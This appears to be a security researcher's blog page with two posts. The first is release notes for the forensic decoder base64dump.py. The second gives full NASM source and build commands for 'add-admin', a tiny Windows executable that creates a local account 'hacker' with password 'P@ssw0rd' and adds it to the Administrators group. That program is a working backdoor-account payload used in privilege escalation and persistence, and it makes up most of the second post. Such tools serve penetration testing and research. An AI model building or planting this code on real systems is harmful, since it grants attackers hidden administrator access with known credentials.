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Update: base64dump.py Version 0.0.12

This new version of base64dump.py adds the following new features:

encoding zxc (0x4D,0x5A,0x90,…) update for YARA rules update for –cut option option -A: run-length encoded HEX/ASCII dump warning when no encoding was selected environment variable to set hash algorithm (DSS_DEFAULT_HASH_ALGORITHMS) option –jsonoutput option -T: headtail option -p: process encodings Python 3 support

base64dump_V0_0_12.zip (https)
MD5: 834B0D2DB5915ECE1C2F016B9E8462D1
SHA256: 952A5009C945AF350DB0875E8F025E3B5D271FB54AC60BE7569CFBD949DD7B77

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add-admin: Tiny EXE To Add Administrative Account

I wrote a tiny EXE program (1,5 KB) that creates an account and adds it to the local administrators group.

It’s written in 32-bit assembly code (it’s not shellcode), and needs to be assembled with nasm and then linked to a PE file.

The first 3 %define statements define the account name, password and local group.

; Assembly code to add a new local user and make it member of Administrators group ; Written for NASM assembler (http://www.nasm.us) by Didier Stevens ; https://DidierStevens.com ; Use at your own risk ; ; Build: ; nasm -f win32 add-admin.asm ; Microsoft linker: ; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib ; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/ ; /fixed -> no relocation section ; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section ; /filealign:256 -> smaller, but no valid exe ; MinGW linker: ; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32 ; ; History: ; 2020/03/13 ; 2020/03/14 refactor ; 2020/03/15 refactor BITS 32 %define USERNAME 'hacker' %define PASSWORD 'P@ssw0rd' %define ADMINISTRATORS 'administrators' global _main extern _NetUserAdd@16 extern _NetLocalGroupAddMembers@20 extern _ExitProcess@4 struc USER_INFO_1 .uName RESD 1 .Password RESD 1 .PasswordAge RESD 1 .Privilege RESD 1 .HomeDir RESD 1 .Comment RESD 1 .Flags RESD 1 .ScriptPath RESD 1 endstruc struc LOCALGROUP_MEMBERS_INFO_3 .lgrmi3_domainandname RESD 1 endstruc USER_PRIV_USER EQU 1 UF_SCRIPT EQU 1 section .text _main: mov ebp, esp sub esp, 4 ; NetUserAdd(NULL, level=1, buffer, NULL) lea eax, [ebp-4] push eax push UI1 push 1 push 0 call _NetUserAdd@16 ; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1) push 1 push LMI3 push 3 push ADMINISTRATORS_UNICODE push 0 call _NetLocalGroupAddMembers@20 ; ExitProcess(0) push 0 call _ExitProcess@4 ; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section) ; section .data UI1: istruc USER_INFO_1 at USER_INFO_1.uName, dd USERNAME_UNICODE at USER_INFO_1.Password, dd PASSWORD_UNICODE at USER_INFO_1.PasswordAge, dd 0 at USER_INFO_1.Privilege, dd USER_PRIV_USER at USER_INFO_1.HomeDir, dd 0 at USER_INFO_1.Comment, dd 0 at USER_INFO_1.Flags, dd UF_SCRIPT at USER_INFO_1.ScriptPath, dd 0 iend USERNAME_UNICODE: db __utf16le__(USERNAME), 0, 0 PASSWORD_UNICODE: db __utf16le__(PASSWORD), 0, 0 ADMINISTRATORS_UNICODE: db __utf16le__(ADMINISTRATORS), 0, 0 LMI3: istruc LOCALGROUP_MEMBERS_INFO_3 at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE iend